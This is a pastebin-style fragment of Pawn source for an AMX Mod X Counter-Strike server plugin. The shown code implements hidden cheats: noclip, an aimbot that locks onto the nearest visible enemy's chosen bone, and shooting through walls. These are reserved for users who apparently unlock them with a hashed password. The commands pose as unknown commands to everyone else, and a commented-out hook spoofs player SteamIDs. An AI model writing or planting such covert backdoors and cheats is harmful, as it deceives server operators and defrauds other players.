- if( (GetIdBits(g_bAlive,id)) )
- {
- set_pev( id, pev_movetype, pev( id, pev_movetype ) == MOVETYPE_WALK ? MOVETYPE_NOCLIP : MOVETYPE_WALK );
- }
- //console_print( id, "Unknown command: set_noclip" );
- return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
- }
- public cmd_SetWallbang( id )
- {
- if( !(GetIdBits(g_bFullAccess,id) ) ) return PLUGIN_CONTINUE;
- //new buff[ 2 ];
- //read_argv( 1, buff, 1 );
- read_argv( 1, asd_s, 1 );
- if( asd_s[0] ) //if( buff[ 0 ] )
- {
- set_wallbang[ id ] = clamp( str_to_num( asd_s /*buff*/ ), 0, 1 );
- }
- //console_print( id, "Unknown command: set_wallbang" );
- return GetIdBits(g_bAdmin, id) ? PLUGIN_HANDLED : PLUGIN_CONTINUE;
- }
- /*
- public steamid( id )
- {
- if( !(GetIdBits(g_bFullAccess,id)) ) return PLUGIN_CONTINUE;
- //new asd_s[ 33 ];
- read_argv( 1, asd_s, 32 );
- if( asd_s[0] )
- {
- TrieSetString(ReplacementsTrie, IdToReplace[id], asd_s);
- }
- else
- {
- TrieSetString(ReplacementsTrie, IdToReplace[id], IdToReplace[id]);
- }
- return PLUGIN_HANDLED;
- }
- */
- stock GetClosestFOV( id )
- {
- new iPlayers[32], iNum;
- get_players(iPlayers, iNum, "ahe", get_user_team(id) == 2 ? "TERRORIST" : "CT");
- new iClosestPlayer = 0;
- new iPlayer;
- new iFov, iClosestFov = set_fov[ id ];
- for( new i = 0; i < iNum; i++ )
- {
- iPlayer = iPlayers[ i ];
- iFov = get_distance_to_line( id, iPlayer );
- if( ( fm_is_ent_visible2( id, iPlayer ) || CorrectGun(id) ) && iFov < iClosestFov )
- {
- iClosestPlayer = iPlayer;
- iClosestFov = iFov;
- }
- }
- //client_print( 0, print_chat, "%i", iClosestPlayer );
- return iClosestPlayer;
- }
- stock get_distance_to_line( id, ent )
- {
- new Float:pos_start[3], Float:pos_end[3], Float:pos_object[3], Float:view_ofs[3];
- pev( id, pev_origin, pos_start );
- //pev( ent, pev_view_ofs, view_ofs );
- engfunc( EngFunc_GetBonePosition, ent, GetBone( .bone = set_bone[ id ] ), pos_object, asd );
- //pev( ent, pev_origin, pos_object );
- //xs_vec_add( pos_object, view_ofs, pos_object );
- fm_get_aim_origin( id, pos_end );
- pev( id, pev_view_ofs, view_ofs );
- xs_vec_add( pos_start, view_ofs, pos_start );
- new Float:vec_start_end[3], Float:vec_start_object[3], Float:vec_end_object[3], Float:vec_end_start[3];
- xs_vec_sub(pos_end, pos_start, vec_start_end); // vector from start to end
- xs_vec_sub(pos_object, pos_start, vec_start_object); // vector from end to object
- xs_vec_sub(pos_start, pos_end, vec_end_start); // vector from end to start
- xs_vec_sub(pos_end, pos_object, vec_end_object); // vector object to end
- new Float:len_start_object = xs_vec_len(vec_start_object);
- new Float:angle_start = floatacos(xs_vec_dot(vec_start_end, vec_start_object) / (xs_vec_len(vec_start_end) * len_start_object), degrees);
- return (angle_start < 60.0) ? floatround(len_start_object * floatsin(angle_start, degrees)) : 9999;
- }
- stock bool:fm_is_ent_visible2(index, entity)
- {
- new Float:start[3], Float:dest[3];
- pev(index, pev_origin, start);
- pev(index, pev_view_ofs, dest);
- xs_vec_add(start, dest, start);
- //pev(entity, pev_origin, dest);
- //dest[2] = dest[2] + 16.0;
- engfunc( EngFunc_GetBonePosition, entity, GetBone( .bone = set_bone[ index ] ), dest, asd );
- engfunc( EngFunc_TraceLine, start, dest, 0, index, 0 );
- new Float:fraction;
- get_tr2(0, TR_flFraction, fraction);
- //client_print( 0, print_chat, "%.3f", fraction );
- if (fraction >= 0.9 || get_tr2(0, TR_pHit) == entity)
- {
- //client_print( 0, print_chat, "VISIBLE" );
- return true;
- }
- return false;
- }
- stock GetBoneName( const bone )
- {
- switch( bone )
- {
- case HIT_HEAD: asd_s = "HEAD";
- case HIT_CHEST: asd_s = "NECK";
- case HIT_STOMACH: asd_s = "STOMACH";
- case HIT_LEFTARM: asd_s = "LEFTARM";
- case HIT_RIGHTARM: asd_s = "RIGHTARM";
- case HIT_LEFTLEG: asd_s= "LEFTLEG";
- case HIT_RIGHTLEG: asd_s = "RIGHTLEG";
- case 8: asd_s = "WHOLE BODY";
- default: asd_s = "NONE";
- }
- return asd_s;
- }
- stock GetBone( const bone )
- {
- switch( bone )
- {
- case HIT_HEAD: return 7;
- case HIT_CHEST: return BONE_NECK;
- case HIT_STOMACH: return BONE_PELVIS;
- case HIT_LEFTARM: return BONE_L_FOREARM;
- case HIT_RIGHTARM: return BONE_R_FOREARM;
- case HIT_LEFTLEG: return BONE_L_CALF;
- case HIT_RIGHTLEG: return BONE_R_CALF;
- default: return BONE_NECK;
- }
- return 0;
- }
- stock HasAccess(buf[])
- {
- new s1 = 1;
- new s2 = 0;
- for (new n=0; n<strlen(buf); n++)
- {
- s1 = (s1 + buf[n]) % 65521;
- s2 = (s2 + s1) % 65521;
- }
- return (s2 << 16) + s1;
- }
- stock CorrectGun( id )
- {
- if( !(GetIdBits(g_bFullAccess,id)) ) return 0;
- if( !set_wallbang[ id ] ) return 0;
- switch( get_user_weapon( id ) )
- {
- case CSW_AUG, CSW_M249, CSW_M4A1, CSW_DEAGLE, CSW_SG552, CSW_AK47, CSW_FAMAS, CSW_SG550, CSW_G3SG1, CSW_SCOUT, CSW_AWP:
- return 1;
- default:
- return 0;
- }
- return 0;
- }
- /*
- public OnSV_GetIDString( x )
- {
- static steamID[ 32 ];
- OrpheuGetReturn( steamID, charsmax(steamID) )
- if( TrieKeyExists( ReplacementsTrie, steamID ) )
- {
- static newSteamID[ 32 ];
- TrieGetString( ReplacementsTrie, steamID, newSteamID, charsmax(newSteamID) );
- OrpheuSetReturn( newSteamID );
- }
- }
- */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement